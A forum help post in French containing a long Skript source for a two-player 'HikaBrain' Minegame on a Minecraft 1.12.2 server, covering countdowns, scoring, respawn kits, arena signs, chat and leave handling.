{hika.map::%{hika.map.joinedarena::%player%}%::player2} title "&a&l3 sec" with subtitle "&bPreparez vous !" for 1 second wait 1 second send {hika.map::%{hika.map.joinedarena::%player%}%::player1} title "&a&l2 sec" with subtitle "&bPreparez vous !" for 1 second send {hika.map::%{hika.map.joinedarena::%player%}%::player2} title "&a&l2 sec" with subtitle "&bPreparez vous !" for 1 second wait 1 second send {hika.map::%{hika.map.joinedarena::%player%}%::player1} title "&a&l1 sec" with subtitle "&bPreparez vous !" for 1 second send {hika.map::%{hika.map.joinedarena::%player%}%::player2} title "&a&l1 sec" with subtitle "&bPreparez vous !" for 1 second wait 1 second send {hika.map::%{hika.map.joinedarena::%player%}%::player1} title "&a&lGO !" for 1 second send {hika.map::%{hika.map.joinedarena::%player%}%::player2} title "&a&lGO !" for 1 second else if {hika.map::%{hika.map.joinedarena::%player%}%::player2pts} is 4: loop {hika.map::%{hika.map.joinedarena::%player%}%::blocksplaced::*}: set block at loop-value to air loop {hika.map::%{hika.map.joinedarena::%player%}%::blocksbroken::*}: set block at loop-value to sand stone add 1 to {hika.map::%{hika.map.joinedarena::%player%}%::player2pts} clear inventory of {hika.map::%{hika.map.joinedarena::%player%}%::player1} clear inventory of {hika.map::%{hika.map.joinedarena::%player%}%::player2} send {hika.map::%{hika.map.joinedarena::%player%}%::player1} title "&a&lGagnant :" with subtitle "&9&l%{hika.map::%{hika.map.joinedarena::%player%}%::player2}%" for 5 second send {hika.map::%{hika.map.joinedarena::%player%}%::player2} title "&a&lGagnant :" with subtitle "&9&l%{hika.map::%{hika.map.joinedarena::%player%}%::player2}%" for 5 second set {hika.map::%{hika.map.joinedarena::%player%}%::player2pts} to 0 set {hika.map::%{hika.map.joinedarena::%player%}%::player1pts} to 0 set {hika.map::%{hika.map.joinedarena::%player%}%::ison} to false set {hika.map::%{hika.map.joinedarena::%player%}%::players} to 0 set {hika.map::%{hika.map.joinedarena::%player%}%::waitingplayers} to 0 delete {hika.map::%arg 2%::blocksbroken::*} delete {hika.map::%arg 2%::blocksplaced::*} wait 5 seconds set {ingame::%{hika.map::%{hika.map.joinedarena::%player%}%::player1}%} to false set {ingame::%{hika.map::%{hika.map.joinedarena::%player%}%::player2}%} to false teleport {hika.map::%{hika.map.joinedarena::%player%}%::player2} to {hika.map.mainlobby} teleport {hika.map::%{hika.map.joinedarena::%player%}%::player1} to {hika.map.mainlobby} set {temp.arena} to {hika.map.joinedarena::%player%} set {hika.map.joinedarena::%{hika.map::%{hika.map.joinedarena::%player%}%::player1}%} to 0 set {hika.map::%{temp.arena}%::player1} to 0 set {hika.map.joinedarena::%{hika.map::%{hika.map.joinedarena::%player%}%::player2}%} to 0 set {hika.map::%{temp.arena}%::player2} to 0 delete {temp.arena} on walk on blue wool: if {hika.map::%{hika.map.joinedarena::%player%}%::ison} is true: if {hika.map::%{hika.map.joinedarena::%player%}%::player1} is player: if {hika.map::%{hika.map.joinedarena::%player%}%::player1pts} is less than 4: teleport {hika.map::%{hika.map.joinedarena::%player%}%::player1} to {hika.map::%{hika.map.joinedarena::%player%}%::a} teleport {hika.map::%{hika.map.joinedarena::%player%}%::player2} to {hika.map::%{hika.map.joinedarena::%player%}%::b} add 1 to {hika.map::%{hika.map.joinedarena::%player%}%::player1pts} send "%{logo}% &c&l%player% &b a marque un point ! (%{hika.map::%{hika.map.joinedarena::%player%}%::player1pts}%/5)" to {hika.map::%{hika.map.joinedarena::%player%}%::player1} send "%{logo}% &c&l%player% &b a marque un point (%{hika.map::%{hika.map.joinedarena::%player%}%::player1pts}%/5)!" to {hika.map::%{hika.map.joinedarena::%player%}%::player2} clear inventory of {hika.map::%{hika.map.joinedarena::%player%}%::player1} clear inventory of {hika.map::%{hika.map.joinedarena::%player%}%::player2} set {hika.map::%{hika.map.joinedarena::%player%}%::player1}'s health to 20 set {hika.map::%{hika.map.joinedarena::%player%}%::player1}'s hunger to 20 set {hika.map::%{hika.map.joinedarena::%player%}%::player2}'s health to 20 set {hika.map::%{hika.map.joinedarena::%player%}%::player2}'s hunger to 20 set helmet of {hika.map::%{hika.map.joinedarena::%player%}%::player1} to iron helmet set helmet of {hika.map::%{hika.map.joinedarena::%player%}%::player2} to iron helmet set chestplate of {hika.map::%{hika.map.joinedarena::%player%}%::player1} to iron chestplate set chestplate of {hika.map::%{hika.map.joinedarena::%player%}%::player2} to iron chestplate set leggings of {hika.map::%{hika.map.joinedarena::%player%}%::player1} to iron leggings set leggings of {hika.map::%{hika.map.joinedarena::%player%}%::player2} to iron leggings set boots of {hika.map::%{hika.map.joinedarena::%player%}%::player1} to iron boots set boots of {hika.map::%{hika.map.joinedarena::%player%}%::player2} to iron boots give {hika.map::%{hika.map.joinedarena::%player%}%::player1} a diamond sword named "&b&lHikaSword" give {hika.map::%{hika.map.joinedarena::%player%}%::player2} a diamond sword named "&b&lHikaSword" give {hika.map::%{hika.map.joinedarena::%player%}%::player1} a diamond pickaxe named "&b&lHikaPickaxe" give {hika.map::%{hika.map.joinedarena::%player%}%::player2} a diamond pickaxe named "&b&lHikaPickaxe" give {hika.map::%{hika.map.joinedarena::%player%}%::player1} 64 sandstone named "HikaCube" give {hika.map::%{hika.map.joinedarena::%player%}%::player2} 64 sandstone named "HikaCube" give {hika.map::%{hika.map.joinedarena::%player%}%::player1} 64 sandstone named "HikaCube" give {hika.map::%{hika.map.joinedarena::%player%}%::player2} 64 sandstone named "HikaCube" give {hika.map::%{hika.map.joinedarena::%player%}%::player1} 64 sandstone named "HikaCube" give {hika.map::%{hika.map.joinedarena::%player%}%::player2} 64 sandstone named "HikaCube" give {hika.map::%{hika.map.joinedarena::%player%}%::player1} 64 sandstone named "HikaCube" give {hika.map::%{hika.map.joinedarena::%player%}%::player2} 64 sandstone named "HikaCube" give {hika.map::%{hika.map.joinedarena::%player%}%::player1} 64 sandstone named "HikaCube" give {hika.map::%{hika.map.joinedarena::%player%}%::player2} 64 sandstone named "HikaCube" give {hika.map::%{hika.map.joinedarena::%player%}%::player1} 64 sandstone named "HikaCube" give {hika.map::%{hika.map.joinedarena::%player%}%::player2} 64 sandstone named "HikaCube" give {hika.map::%{hika.map.joinedarena::%player%}%::player1} 64 sandstone named "HikaCube" give {hika.map::%{hika.map.joinedarena::%player%}%::player2} 64 sandstone named "HikaCube" give {hika.map::%{hika.map.joinedarena::%player%}%::player1} 64 sandstone named "HikaCube" give {hika.map::%{hika.map.joinedarena::%player%}%::player2} 64 sandstone named "HikaCube" apply slowness 255 to {hika.map::%{hika.map.joinedarena::%player%}%::player1} for 5 seconds apply slowness 255 to {hika.map::%{hika.map.joinedarena::%player%}%::player2} for 5 seconds loop {hika.map::%{hika.map.joinedarena::%player%}%::blocksplaced::*}: set block at loop-value to air loop {hika.map::%{hika.map.joinedarena::%player%}%::blocksbroken::*}: set block at loop-value to sand stone send {hika.map::%{hika.map.joinedarena::%player%}%::player1} title "&a&l5 sec" with subtitle "&bPreparez vous !" for 1 second send {hika.map::%{hika.map.joinedarena::%player%}%::player2} title "&a&l5 sec" with subtitle "&bPreparez vous !" for 1 second wait 1 second send {hika.map::%{hika.map.joinedarena::%player%}%::player1} title "&a&l4 sec" with subtitle "&bPreparez vous !" for 1 second send {hika.map::%{hika.map.joinedarena::%player%}%::player2} title "&a&l4 sec" with subtitle "&bPreparez vous !" for 1 second wait 1 second send {hika.map::%{hika.map.joinedarena::%player%}%::player1} title "&a&l3 sec" with subtitle "&bPreparez vous !" for 1 second send {hika.map::%{hika.map.joinedarena::%player%}%::player2} title "&a&l3 sec" with subtitle "&bPreparez vous !" for 1 second wait 1 second send {hika.map::%{hika.map.joinedarena::%player%}%::player1} title "&a&l2 sec" with subtitle "&bPreparez vous !" for 1 second send {hika.map::%{hika.map.joinedarena::%player%}%::player2} title "&a&l2 sec" with subtitle "&bPreparez vous !" for 1 second wait 1 second send {hika.map::%{hika.map.joinedarena::%player%}%::player1} title "&a&l1 sec" with subtitle "&bPreparez vous !" for 1 second send {hika.map::%{hika.map.joinedarena::%player%}%::player2} title "&a&l1 sec" with subtitle "&bPreparez vous !" for 1 second wait 1 second send {hika.map::%{hika.map.joinedarena::%player%}%::player1} title "&a&lGO !" for 1 second send {hika.map::%{hika.map.joinedarena::%player%}%::player2} title "&a&lGO !" for 1 second else if {hika.map::%{hika.map.joinedarena::%player%}%::player1pts} is 4: loop {hika.map::%{hika.map.joinedarena::%player%}%::blocksplaced::*}: set block at loop-value to air loop {hika.map::%{hika.map.joinedarena::%player%}%::blocksbroken::*}: set block at loop-value to sand stone add 1 to {hika.map::%{hika.map.joinedarena::%player%}%::player1pts} clear inventory of {hika.map::%{hika.map.joinedarena::%player%}%::player1} clear inventory of {hika.map::%{hika.map.joinedarena::%player%}%::player2} send {hika.map::%{hika.map.joinedarena::%player%}%::player1} title "&a&lGagnant :" with subtitle "&f&l%{hika.map::%{hika.map.joinedarena::%player%}%::player1}%" for 5 second send {hika.map::%{hika.map.joinedarena::%player%}%::player2} title "&a&lGagnant :" with subtitle "&f&l%{hika.map::%{hika.map.joinedarena::%player%}%::player1}%" for 5 second set {hika.map::%{hika.map.joinedarena::%player%}%::player2pts} to 0 set {hika.map::%{hika.map.joinedarena::%player%}%::player1pts} to 0 set {hika.map::%{hika.map.joinedarena::%player%}%::ison} to false set {hika.map::%{hika.map.joinedarena::%player%}%::players} to 0 set {hika.map::%{hika.map.joinedarena::%player%}%::waitingplayers} to 0 delete {hika.map::%arg 2%::blocksbroken::*} delete {hika.map::%arg 2%::blocksplaced::*} wait 5 seconds set {ingame::%{hika.map::%{hika.map.joinedarena::%player%}%::player1}%} to false set {ingame::%{hika.map::%{hika.map.joinedarena::%player%}%::player2}%} to false teleport {hika.map::%{hika.map.joinedarena::%player%}%::player2} to {hika.map.mainlobby} teleport {hika.map::%{hika.map.joinedarena::%player%}%::player1} to {hika.map.mainlobby} set {temp.arena} to {hika.map.joinedarena::%player%} set {hika.map.joinedarena::%{hika.map::%{hika.map.joinedarena::%player%}%::player2}%} to 0 set {hika.map::%{temp.arena}%::player2} to 0 set {hika.map.joinedarena::%{hika.map::%{hika.map.joinedarena::%player%}%::player1}%} to 0 set {hika.map::%{temp.arena}%::player1} to 0 delete {temp.arena} every 1 ticks: loop all players: if {hika.map::%{hika.map.joinedarena::%loop-player%}%::ison} is true: if loop-player's y coordinates is less than {hika.map::%{hika.map.joinedarena::%loop-player%}%::y}: if {hika.map::%{hika.map.joinedarena::%loop-player%}%::player1} is loop-player : teleport loop-player to {hika.map::%{hika.map.joinedarena::%loop-player%}%::a} wait 2 ticks set {hika.map::%{hika.map.joinedarena::%loop-player%}%::player1}'s health to 20 set {hika.map::%{hika.map.joinedarena::%loop-player%}%::player1}'s hunger to 20 set {hika.map::%{hika.map.joinedarena::%loop-player%}%::player2}'s health to 20 set {hika.map::%{hika.map.joinedarena::%loop-player%}%::player2}'s hunger to 20 send "%{logo}% &c&l%loop-player% &best mort !" to {hika.map::%{hika.map.joinedarena::%loop-player%}%::player1} send "%{logo}% &c&l%loop-player% &best mort !" to {hika.map::%{hika.map.joinedarena::%loop-player%}%::player2} clear inventory of loop-player set helmet of loop-player to iron helmet set chestplate of loop-player to iron chestplate set leggings of loop-player to iron leggings set boots of loop-player to iron boots give loop-player a diamond sword named "&b&lHikaSword" give loop-player a diamond pickaxe named "&b&lHikaPickaxe" give loop-player 64 sandstone named "HikaCube" give loop-player 64 sandstone named "HikaCube" give loop-player 64 sandstone named "HikaCube" give loop-player 64 sandstone named "HikaCube" give loop-player 64 sandstone named "HikaCube" give loop-player 64 sandstone named "HikaCube" give loop-player 64 sandstone named "HikaCube" else if {hika.map::%{hika.map.joinedarena::%loop-player%}%::player2} is loop-player : set {hika.map::%{hika.map.joinedarena::%loop-player%}%::player1}'s health to 20 set {hika.map::%{hika.map.joinedarena::%loop-player%}%::player1}'s hunger to 20 set {hika.map::%{hika.map.joinedarena::%loop-player%}%::player2}'s health to 20 set {hika.map::%{hika.map.joinedarena::%loop-player%}%::player2}'s hunger to 20 teleport loop-player to {hika.map::%{hika.map.joinedarena::%loop-player%}%::b} send "%{logo}% &9&l%loop-player% &best mort !" to {hika.map::%{hika.map.joinedarena::%loop-player%}%::player1} send "%{logo}% &9&l%loop-player% &best mort !" to {hika.map::%{hika.map.joinedarena::%loop-player%}%::player2} wait 2 ticks clear inventory of loop-player set helmet of loop-player to iron helmet set chestplate of loop-player to iron chestplate set leggings of loop-player to iron leggings set boots of loop-player to iron boots give loop-player a diamond sword named "&b&lHikaSword" give loop-player a diamond pickaxe named "&b&lHikaPickaxe" give loop-player 64 sandstone named "HikaCube" give loop-player 64 sandstone named "HikaCube" give loop-player 64 sandstone named "HikaCube" give loop-player 64 sandstone named "HikaCube" give loop-player 64 sandstone named "HikaCube" give loop-player 64 sandstone named "HikaCube" give loop-player 64 sandstone named "HikaCube" on death: if player is online: if player is online: if {hika.map.joinedarena::%player%} is not 0: if {hika.map::%{hika.map.joinedarena::%player%}%::player1} is player : wait 1 tick heal player teleport player to {hika.map::%{hika.map.joinedarena::%player%}%::a} wait 1 second set {hika.map::%{hika.map.joinedarena::%player%}%::player1}'s health to 20 set {hika.map::%{hika.map.joinedarena::%player%}%::player1}'s hunger to 20 set {hika.map::%{hika.map.joinedarena::%player%}%::player2}'s health to 20 set {hika.map::%{hika.map.joinedarena::%player%}%::player2}'s hunger to 20 send "%{logo}% &c&l%player% &best mort !" to {hika.map::%{hika.map.joinedarena::%player%}%::player1} send "%{logo}% &c&l%player% &best mort !" to {hika.map::%{hika.map.joinedarena::%player%}%::player2} clear inventory of player set helmet of player to iron helmet set chestplate of player to iron chestplate set leggings of player to iron leggings set boots of player to iron boots give player a diamond sword named "&b&lHikaSword" give player a diamond pickaxe named "&b&lHikaPickaxe" give player 64 sandstone named "HikaCube" give player 64 sandstone named "HikaCube" give player 64 sandstone named "HikaCube" give player 64 sandstone named "HikaCube" give player 64 sandstone named "HikaCube" give player 64 sandstone named "HikaCube" give player 64 sandstone named "HikaCube" else if {hika.map::%{hika.map.joinedarena::%player%}%::player2} is player : wait 1 tick heal player teleport player to {hika.map::%{hika.map.joinedarena::%player%}%::b} send "%{logo}% &9&l%player% &best mort !" to {hika.map::%{hika.map.joinedarena::%player%}%::player1} send "%{logo}% &9&l%player% &best mort !" to {hika.map::%{hika.map.joinedarena::%player%}%::player2} wait 2 ticks set {hika.map::%{hika.map.joinedarena::%player%}%::player1}'s health to 20 set {hika.map::%{hika.map.joinedarena::%player%}%::player1}'s hunger to 20 set {hika.map::%{hika.map.joinedarena::%player%}%::player2}'s health to 20 set {hika.map::%{hika.map.joinedarena::%player%}%::player2}'s hunger to 20 clear inventory of player set helmet of player to iron helmet set chestplate of player to iron chestplate set leggings of player to iron leggings set boots of player to iron boots give player a diamond sword named "&b&lHikaSword" give player a diamond pickaxe named "&b&lHikaPickaxe" give player 64 sandstone named "HikaCube" give player 64 sandstone named "HikaCube" give player 64 sandstone named "HikaCube" give player 64 sandstone named "HikaCube" give player 64 sandstone named "HikaCube" give player 64 sandstone named "HikaCube" give player 64 sandstone named "HikaCube" every 10 tick: loop {hika.signs::*}: if line 1 of block at loop-value contain "[HikaBrain]": if {sign.map::%loop-value%} is not set: set {sign.map::%loop-value%} to line 2 of block at loop-value set line 1 of block at loop-value to "&9&l[HikaBrain]" set line 2 of block at loop-value to "&b&l%{sign.map::%loop-value%}%" if {hika.map::%{sign.map::%loop-value%}%::ison} is true: set line 3 of block at loop-value to "&b&l (%{hika.map::%{sign.map::%loop-value%}%::players}%/2)" set line 4 of block at loop-value to "&c&lEn cours..." if {hika.map::%{sign.map::%loop-value%}%::ison} is false: set line 3 of block at loop-value to "&b&l (%{hika.map::%{sign.map::%loop-value%}%::waitingplayers}%/2)" set line 4 of block at loop-value to "&a&lEn attente" else: set line 3 of block at loop-value to "&4&l(0/0)" set line 4 of block at loop-value to "&c&lIndisponible" on place: if {ingame::%player%} is true: add location of block to {hika.map::%{hika.map.joinedarena::%player%}%::blocksplaced::*} on break: if block is not sand stone:0: if {ingame::%player%} is true: cancel event message "%{logo}%&c Vous n'etes pas autorisé a miner ce block !" on rightclick on a sign: if line 1 of clicked block contain "[HikaBrain]": make player execute command "/hk join %{sign.map::%event-location%}%" on place of sign: add location of block to {hika.signs::*} on disconnect: if {hika.map.joinedarena::%player%} is not 0: if {hika.map::%{hika.map.joinedarena::%player%}%::ison} is true: if {hika.map::%{hika.map.joinedarena::%player%}%::player2} is player: loop {hika.map::%{hika.map.joinedarena::%player%}%::blocksplaced::*}: set block at loop-value to air add 1 to {hika.map::%{hika.map.joinedarena::%player%}%::player2pts} clear inventory of {hika.map::%{hika.map.joinedarena::%player%}%::player1} clear inventory of {hika.map::%{hika.map.joinedarena::%player%}%::player2} send "%{logo}% Votre adversaire s'est deconnecte , vous avez gagné!" to {hika.map::%{hika.map.joinedarena::%player%}%::player1} send {hika.map::%{hika.map.joinedarena::%player%}%::player1} title "&a&lGagnant :" with subtitle "&f&l%{hika.map::%{hika.map.joinedarena::%player%}%::player1}%" for 5 second set {hika.map::%{hika.map.joinedarena::%player%}%::player2pts} to 0 set {hika.map::%{hika.map.joinedarena::%player%}%::player1pts} to 0 set {hika.map::%{hika.map.joinedarena::%player%}%::ison} to false set {hika.map::%{hika.map.joinedarena::%player%}%::players} to 0 set {hika.map::%{hika.map.joinedarena::%player%}%::waitingplayers} to 0 delete {hika.map::%arg 2%::blocksplaced::*} wait 5 seconds teleport {hika.map::%{hika.map.joinedarena::%player%}%::player2} to {hika.map.mainlobby} teleport {hika.map::%{hika.map.joinedarena::%player%}%::player1} to {hika.map.mainlobby} set {temp.arena} to {hika.map.joinedarena::%player%} set {hika.map.joinedarena::%{hika.map::%{hika.map.joinedarena::%player%}%::player1}%} to 0 set {hika.map::%{temp.arena}%::player1} to 0 set {hika.map.joinedarena::%{hika.map::%{hika.map.joinedarena::%player%}%::player2}%} to 0 set {hika.map::%{temp.arena}%::player2} to 0 delete {temp.arena} else if {hika.map::%{hika.map.joinedarena::%player%}%::player1} is player: loop {hika.map::%{hika.map.joinedarena::%player%}%::blocksplaced::*}: set block at loop-value to air add 1 to {hika.map::%{hika.map.joinedarena::%player%}%::player1pts} clear inventory of {hika.map::%{hika.map.joinedarena::%player%}%::player1} clear inventory of {hika.map::%{hika.map.joinedarena::%player%}%::player2} send "%{logo}% Votre adversaire s'est deconnecte , vous avez gagné !" to {hika.map::%{hika.map.joinedarena::%player%}%::player2} send {hika.map::%{hika.map.joinedarena::%player%}%::player1} title "&a&lGagnant :" with subtitle "&f&l%{hika.map::%{hika.map.joinedarena::%player%}%::player2}%" for 5 second set {hika.map::%{hika.map.joinedarena::%player%}%::player2pts} to 0 set {hika.map::%{hika.map.joinedarena::%player%}%::player1pts} to 0 set {hika.map::%{hika.map.joinedarena::%player%}%::ison} to false set {hika.map::%{hika.map.joinedarena::%player%}%::players} to 0 set {hika.map::%{hika.map.joinedarena::%player%}%::waitingplayers} to 0 delete {hika.map::%arg 2%::blocksplaced::*} wait 5 seconds set {ingame::%{hika.map::%{hika.map.joinedarena::%player%}%::player1}%} to false set {ingame::%{hika.map::%{hika.map.joinedarena::%player%}%::player2}%} to false teleport {hika.map::%{hika.map.joinedarena::%player%}%::player2} to {hika.map.mainlobby} teleport {hika.map::%{hika.map.joinedarena::%player%}%::player1} to {hika.map.mainlobby} set {temp.arena} to {hika.map.joinedarena::%player%} set {hika.map.joinedarena::%{hika.map::%{hika.map.joinedarena::%player%}%::player1}%} to 0 set {hika.map::%{temp.arena}%::player1} to 0 set {hika.map.joinedarena::%{hika.map::%{hika.map.joinedarena::%player%}%::player2}%} to 0 set {hika.map::%{temp.arena}%::player2} to 0 delete {temp.arena} else: make player execute command "/hika leave" on chat: if {hika.map.joinedarena::%player%} is not 0: if {hika.map::%{hika.map.joinedarena::%player%}%::player1} is player: cancel event send "&7[&cRouge&7] &f%player% : %message%" to {hika.map::%{hika.map.joinedarena::%player%}%::player1} send "&7[&cRouge&7] &f%player% : %message%" to {hika.map::%{hika.map.joinedarena::%player%}%::player2} if {hika.map::%{hika.map.joinedarena::%player%}%::player2} is player: cancel event send "&7[&9Bleu&7] &f%player% : %message%" to {hika.map::%{hika.map.joinedarena::%player%}%::player1} send "&7[&9Bleu&7] &f%player% : %message%" to {hika.map::%{hika.map.joinedarena::%player%}%::player2} on command: if {ingame::%player%} is true: cancel event message "%{logo}% &4Pour quitter la partie : /hika leave" stop on command "/hika leave": cancel event set {ingame::%player%} to false if {hika.map.joinedarena::%player%} is not 0: if {hika.map::%{hika.map.joinedarena::%player%}%::ison} is false: remove 1 from {hika.map::%{hika.map.joinedarena::%player%}%::waitingplayers} teleport player to {hika.map.mainlobby} message "%{logo}% Vous avez quitté la map '%{hika.map.joinedarena::%player%}%'" if {hika.map::%{hika.map.joinedarena::%player%}%::player1} is player: set {hika.map::%{hika.map.joinedarena::%player%}%::player1} to 0 else if {hika.map::%{hika.map.joinedarena::%player%}%::player2} is player: set {hika.map::%{hika.map.joinedarena::%player%}%::player2} to 0 set {hika.map.joinedarena::%player%} to 0 else: if {hika.map::%{hika.map.joinedarena::%player%}%::player2} is player: loop {hika.map::%{hika.map.joinedarena::%player%}%::blocksplaced::*}: set block at loop-value to air add 1 to {hika.map::%{hika.map.joinedarena::%player%}%::player2pts} clear inventory of {hika.map::%{hika.map.joinedarena::%player%}%::player1} clear inventory of {hika.map::%{hika.map.joinedarena::%player%}%::player2} send "%{logo}% Votre adversaire a quitt顬a partie , vous avez gagn頡" to {hika.map::%{hika.map.joinedarena::%player%}%::player1} send {hika.map::%{hika.map.joinedarena::%player%}%::player1} title "&a&lGagnant :" with subtitle "&9&l%{hika.map::%{hika.map.joinedarena::%player%}%::player1}%" for 5 second set {hika.map::%{hika.map.joinedarena::%player%}%::player2pts} to 0 set {hika.map::%{hika.map.joinedarena::%player%}%::player1pts} to 0 set {hika.map::%{hika.map.joinedarena::%player%}%::ison} to false set {hika.map::%{hika.map.joinedarena::%player%}%::players} to 0 set {hika.map::%{hika.map.joinedarena::%player%}%::waitingplayers} to 0 delete {hika.map::%arg 2%::blocksplaced::*} wait 5 seconds set {ingame::%{hika.map::%{hika.map.joinedarena::%player%}%::player1}%} to false set {ingame::%{hika.map::%{hika.map.joinedarena::%player%}%::player2}%} to false teleport {hika.map::%{hika.map.joinedarena::%player%}%::player2} to {hika.map.mainlobby} teleport {hika.map::%{hika.map.joinedarena::%player%}%::player1} to {hika.map.mainlobby} set {temp.arena} to {hika.map.joinedarena::%player%} set {hika.map.joinedarena::%{hika.map::%{hika.map.joinedarena::%player%}%::player1}%} to 0 set {hika.map::%{temp.arena}%::player1} to 0 set {hika.map.joinedarena::%{hika.map::%{hika.map.joinedarena::%player%}%::player2}%} to 0 set {hika.map::%{temp.arena}%::player2} to 0 delete {temp.arena} else if {hika.map::%{hika.map.joinedarena::%player%}%::player1} is player: loop {hika.map::%{hika.map.joinedarena::%player%}%::blocksplaced::*}: set block at loop-value to air add 1 to {hika.map::%{hika.map.joinedarena::%player%}%::player1pts} clear inventory of {hika.map::%{hika.map.joinedarena::%player%}%::player1} clear inventory of {hika.map::%{hika.map.joinedarena::%player%}%::player2} send "%{logo}% Votre adversaire a quitté la partie , vous avez gagné !" to {hika.map::%{hika.map.joinedarena::%player%}%::player2} send {hika.map::%{hika.map.joinedarena::%player%}%::player1} title "&a&lGagnant :" with subtitle "&9&l%{hika.map::%{hika.map.joinedarena::%player%}%::player2}%" for 5 second set {hika.map::%{hika.map.joinedarena::%player%}%::player2pts} to 0 set {hika.map::%{hika.map.joinedarena::%player%}%::player1pts} to 0 set {hika.map::%{hika.map.joinedarena::%player%}%::ison} to false set {hika.map::%{hika.map.joinedarena::%player%}%::players} to 0 set {hika.map::%{hika.map.joinedarena::%player%}%::waitingplayers} to 0 delete {hika.map::%arg 2%::blocksplaced::*} wait 5 seconds set {ingame::%{hika.map::%{hika.map.joinedarena::%player%}%::player1}%} to false set {ingame::%{hika.map::%{hika.map.joinedarena::%player%}%::player2}%} to false teleport {hika.map::%{hika.map.joinedarena::%player%}%::player2} to {hika.map.mainlobby} teleport {hika.map::%{hika.map.joinedarena::%player%}%::player1} to {hika.map.mainlobby} set {temp.arena} to {hika.map.joinedarena::%player%} set {hika.map.joinedarena::%{hika.map::%{hika.map.joinedarena::%player%}%::player1}%} to 0 set {hika.map::%{temp.arena}%::player1} to 0 set {hika.map.joinedarena::%{hika.map::%{hika.map.joinedarena::%player%}%::player2}%} to 0 set {hika.map::%{temp.arena}%::player2} to 0 delete {temp.arena} Si jamais ça peut aider, je suis en 1.12.2 (je ne connais pas ma version de skript, qui doit être 1.12 ou pas loin, mais je doute fortement que mon problème viens de là). Merci d'avoir pris le temps de lire, et qui sait, peut-être de répondre.
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